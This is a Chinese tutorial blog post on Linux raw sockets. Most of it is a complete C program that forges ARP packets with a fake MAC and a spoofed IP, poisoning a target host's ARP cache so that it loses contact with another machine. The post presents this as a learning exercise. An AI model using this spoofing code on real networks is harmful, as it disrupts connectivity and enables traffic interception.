linux原始套接字-发送ARP报文

2023-10-28

linux原始套接字,可以直接发送和接收链路层和网络层的报文,对我们理解TCP/IP协议栈有很多帮助。

也可写出很多有趣的程序。

下面的例子是向192.168.1.60的电脑,发送伪造的ARP报文,使其更新ARP表,导致无法PING通192.168.1.71。

使用命令arp -d 删除arp缓存即可恢复。

本示例仅供学习交流,请勿用于非法用途。

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};

    daddr.s_addr = inet_addr("192.168.1.60");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("192.168.1.71");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth1");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
    if (n < 0) {
        print_errno("sendto() failed!\n");
    }
    else {
        printf("sendto() n = %d \n", n);
    }
    close(skfd);
    return 0;
}

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

linux原始套接字-发送ARP报文 的相关文章

  • NIO效率高的原理之零拷贝与直接内存映射

    前言 在笔者上一篇博客 详解了NIO 并总结NIO相比BIO的效率要高的三个原因 点击查看 这篇博客将针对第三个原因 进行更详细的讲解 首先澄清 零拷贝与内存直接映射并不是Java中独有的概念 并且这两个技术并不是等价的 零拷贝 零拷贝是指
  • URL中的+,空格,/,?,%,#,&,= 及转义处理

    URL出现了有 空格 等特殊符号的时候 可能在服务器端无法获得正确的参数值 如何是好 解决办法 将这些字符转化成服务器可以识别的字符 对应关系如下 URL中的特殊字符 有些符号在URL中是不能直接传递的 如果要在URL中传递这些特殊符号 那
  • libevent(6)windows上使用iocp网络模型

    windows操作系统上不能使用epoll模型 只能使用iocp网络模型 这里我把怎么在windows上使用iocp的代码直接贴上 include
  • select 模型解释

    套接字模式 阻塞套接字和非阻塞套接字 或者叫同步套接字和异步套接字 套接字模型 描述如何对套接字的I O行为进行管理 Winsock提供的I O模型一共有五种 select WSAAsyncSelect WSAEventSelect Ove
  • 回调函数

    单线程的时候同步的话 很容易阻塞在那边 用户体验极差 例如 异步是可以多线程的 因为UI主线程一旦阻塞整个界面就卡死了 一旦异步 两个线程下一个可以后台处理数据 一个可以做UI显示 js是单线程的 如果所有的操作 ajax 获取文件等I O
  • libev学习系列之三:libev编译安装

    libev学习系列之三 libev编译安装 版本说明 版本 作者 日期 备注 0 1 ZY 2019 5 31 初稿 目录 文章目录 libev学习系列之三 libev编译安装 版本说明 目录 源码结构 正常编译 交叉编译 源码结构 4 2
  • C# 网络编程之webBrowser乱码问题及解决知识

    在使用PHP MySQL编写网页时 曾近就因为显示中文乱码 口口口 困扰我很长时间 没想到在C 制作浏览器或获取XML页面时也经常会遇到显示中文乱码的问题 可想而知怎样解决编码问题或统一编码问题是非常严重的问题 下面就讲讲我的一些理解及解决
  • 网络编程14——epoll反应堆模型⭐,epoll反应堆实现源码(并没掌握▼

    epoll ET模式 非阻塞 void ptr epoll反应堆模式 与原来监听模式对比 给lfd和cfd指定回调函数的区别 epoll反应堆实现源码 这代码有点难 eventset函数 设置回调函数 lfd gt acceptconn c
  • OSI七层模型---数据链路层(以太网帧、MAC地址、MTU、MSS、ARP协议)

    我们首先来了解一下物理层的作用 物理层的主要目的是实现比特流的透明传输 为数据链路层提供服务 物理层接口解决了用几根线 多大电压 每根线什么功能 以及几根线之间是怎么协调的问题 物理层介质解决了数据载体材质以及价格优缺点的问题 通信技术解决
  • Ubuntu 下同局域网主机访问Tomcat 服务器

    转自 https blog csdn net zm yang article details 70483439 搭建Tomcat环境 自己写些小应用 需要用到服务器 便在Ubuntu环境下搭建了个Tomcat服务器 搭建方法很简单 去官网下
  • 基于TCP的服务器端/客户端

    TCP服务器端默认函数调用顺序 socket 创建socket bind 分配socket地址 listen 等待连接请求状态 accept 允许连接 read write 数据交换 close 断开连接 等待连接请求状态 int list
  • 自旋锁(spinlock) 解释得经典,透彻

    自旋锁与互斥锁有点类似 只是自旋锁不会引起调用者睡眠 如果自旋锁已经被别的执行单元保持 调用者就一直循环在那里看是否该自旋锁的保持者已经释放了锁 自旋 一词就是因此而得名 由于自旋锁使用者一般保持锁时间非常短 因此选择自旋而不是睡眠是非常必
  • 安装配置qt_eventdispatcher_libevent

    QT默认的是使用select模型的 这种轮询方式非常慢 在高并发连接 我们需要epoll才能发挥linux服务器的性能 安装qt eventdispatcher libevent 下载安装包后 解压 找到src目录 用Qt打开pro工程 然
  • Node.js开发入门—HTTP文件服务器

    HelloWorld示例只有演示意义 这次我们来搞一个实际的例子 文件服务器 我们使用Node js创建一个HTTP协议的文件服务器 你可以使用浏览器或其它下载工具到文件服务器上下载文件 用Node js实现的HTTP文件服务器 比我在Qt
  • openwrt利用arp获取局域网设备IP

    openwrt利用arp获取局域网设备IP 文章目录 openwrt利用arp获取局域网设备IP 1 前言 2 ARP概念 3 arp局域网搜索设备实现思路和代码 1 前言 目前我们通过arp协议搜索局域网设备 根据局域网设备地址判断子设备
  • Android API级别30,无法再从Android arp表获取wifi网络设备MAC地址

    我有一个小型网络扫描仪应用程序 它需要查找响应 ping 等的扫描设备的 MAC 地址 很快 Google 需要 targetSdkVersion 30 这意味着在没有响应的情况下无法再以任何方式访问 arp 表 没有权限 以前我用过 bu
  • 仅捕获 arp-reply 数据包的 BPF 表达式

    有没有BPF http biot com capstats bpf html只捕获 arp reply 数据包的表达式 目前 我正在使用 Pcap4J 和以下 BPF 表达式 arp 和 dst 主机host和乙醚 dstmac where
  • 为什么 ARP 请求非本地地址?

    我有一个带有 2 个网卡的 Linux 虚拟服务器 eth0
  • 从MAC地址获取IP。 arp -a 不显示设备

    我正在尝试编写一个批处理文件 该文件应该在连接到网络 腾达 WiFi 路由器 时找到我的 Android 手机的动态分配的 IP 所以我正在尝试arp a并搜索我手机的 MAC 地址 以便我可以从表中获取其 IP C Users Leero
  • 在 Linux 2.6.21 (glibc 2.3.5) 上进行 ARP 和反向 ARP

    我需要在任意 IP 网络上存储对第三方设备的持久引用 其中设备的 IP 地址可能是静态的或由 DHCP 随机分配 我不控制网络上的设备 也不能依赖 DNS 和其他现有的或与设备一起使用的临时网络协议 所以我被指示使用硬件地址和 ARP 进行

随机推荐

  • 求旋转后的坐标

    坐标点target 中心点center 角度angle 旋转后坐标 function getRotatePoint targetX targetY centerX centerY angle const rotation angle Mat
  • settings.xml详解(很详细读这一篇就够了)

    目录 一 settings xml在哪里配置 有什么用 二 settings xml元素详解 2 1 LocalRepository 2 2 InteractiveMode 2 3 UsePluginRegistry 2 4 Offline
  • RT-Thread ——RTC配置

    RT Thread RTC配置 STM32F103系列芯片的RTC功能存在一些缺陷 一 显示时间戳 RTC Real Time Clock 译为实时时钟 因为它一般是集成电路 故也称为时钟芯片 它能提供精确的实时时间 可以用于产生年 月 日
  • MySQL 中视图和表的区别以及联系是什么?

    两者的区别 1 视图是已经编译好的 SQL 语句 是基于 SQL 语句的结果集的可视化的表 而表不是 2 视图没有实际的物理记录 而基本表有 3 表是内容 视图是窗口 4 表占用物理空间而视图不占用物理空间 视图只是逻辑概念的存在 表可以及
  • Codeforces Round #697 (Div. 3) C. Ball in Berland

    我的第一篇博客 XD 第一次写 小激动 一 解题思路 我一个菜鸡 看到这题 刚开始也就能想到n2算法 但肯定是过不了的 所以我又绞尽脑汁 想了一波 终于在 这题必有巧 的信念指导下 想出来了 目标是找到2个组合 让他们不冲突 那么可以显然知
  • C++学习(五十六)qt如何同时做debug和release

    CONFIG debug and release
  • Java开发 Eclipse使用技巧(转)

    1 如何设置默认的代码目录为src 默认的输出目录为bin window gt Preferences gt java gt Build Path中 右侧选择Folders就可以2 如何为快速局部变量设置getX setX属性 在代码里 g
  • node cron 动态任务调度,不同timeZone配置

    系列文章目录 前言 一 安装cron和timezone 二 创建相关db 1 定时任务开关表 2 定时任务表和运行记录表 三 相关代码实现 四 时区数据下载 五 time cron 前言 使用cron 插件实现动态任务调度 配置不同时区的定
  • C语言:猜数字游戏

    define CRT SECURE NO WARNINGS include
  • 又是一年中秋至|Python Pygame制作中秋兔子接月饼游戏【源码+解析】

    一年中秋又快到了 今年加入了Python的学习行列 得益于Python的开发效率和易读性 网上写文章的次数多了起来 既然是中秋节那肯定要搞个应景的游戏才行 左思右想没有头绪时 刚好看到一篇介绍Pygame制作飞机大战的文章 文章写的不错 文
  • MySQL常用的存储引擎

    MySQL常用的存储引擎为MyISAM InnoDB MEMORY MERGE 其中InnoDB提供事务安全表 其他存储引擎都是非事务安全表 MyISAM是MySQL的默认存储引擎 MyISAM不支持事务 也不支持外键 但其访问速度快 对事
  • 我与计算机视觉-[CUDA]-[CPU多线程下CUDA的多流]

    首先问题出在cpu下的多线程 当你想要在多个线程下调用同一个cuda核函数的时候 你会发现效率很低 那么经过验证 的确 不管你有多少个线程 cuda总是将线程中的核函数放入默认流中进行队列方式的处理 相当于单线程 但是这个问题在cuda7后
  • 华为交换机之SNMP管理

    华为交换机之SNMP管理 一 网络环境 1 网络拓扑 2 全网互通链接 二 SW2的SNMP配置 三 检查配置 一 网络环境 1 网络拓扑 2 全网互通链接 中小型局域网规划实战案例 二 SW2的SNMP配置 SW2 snmp agent
  • springboot读取yaml数组配置

    前提 我们常见的读取方式 test list TEST LIST http xxx com http ac com http cd com list2 http xxx com http ab com Configuration publi
  • 项目管理-什么是项目管理

    项目管理 简称 PM 就是项目的管理者 在有限的资源约束下 运用系统的观点 方法和理论 对项目涉及的全部工作进行有效地管理 即从项目的投资决策开始到项目结束的全过程进行计划 组织 指挥 协调 控制和评价 以实现项目的目标 项目是指一系列独特
  • Android 5.0环形电量图标,分享支持MIUI10的5种电池样式,包括:圆形、环形、数字等等!...

    原标题 分享支持MIUI10的5种电池样式 包括 圆形 环形 数字等等 MIUI为保证用户新鲜感 UI两年会大改一次 不过这个胶囊电池似乎从来没变过 从MIUI6开始到现在一直是它 相信看这么多年也烦了 这里就来分享一些我的自用主题 其中这
  • 老司机带你快速实现Python下载与安装

    目录 一 新手下载与安装Python的步骤 二 老司机下载与安装Python的步骤 先来看一下新手是怎么下载安装的 一 新手下载与安装Python的步骤 1 打开Python官网 https www python org 2 点击下载按钮
  • IEEE二进制浮点数算术标准(IEEE 754)

    IEEE二进制浮点数算术标准 IEEE 754 是20世纪80年代以来最广泛使用的浮点数运算标准 为许多CPU与浮点运算器所采用 这个标准定义了表示浮点数的格式 包括负零 0 与反常值 denormal number 一些特殊数值 无穷 I
  • C++设计模式篇卷首语

    2023年8月23日 周三上午 我为什么要学习设计模式 今天早上本来想开始写控制台云盘项目的 但是没有设计模式的思想 就算我能写出来 项目代码的质量一定不是很好的 还有一个原因 那就是我昨天晚上看到有人强烈推荐学习设计模式 所以我决定开始学
  • linux原始套接字-发送ARP报文

    linux原始套接字 可以直接发送和接收链路层和网络层的报文 对我们理解TCP IP协议栈有很多帮助 也可写出很多有趣的程序 下面的例子是向192 168 1 60的电脑 发送伪造的ARP报文 使其更新ARP表 导致无法PING通192 1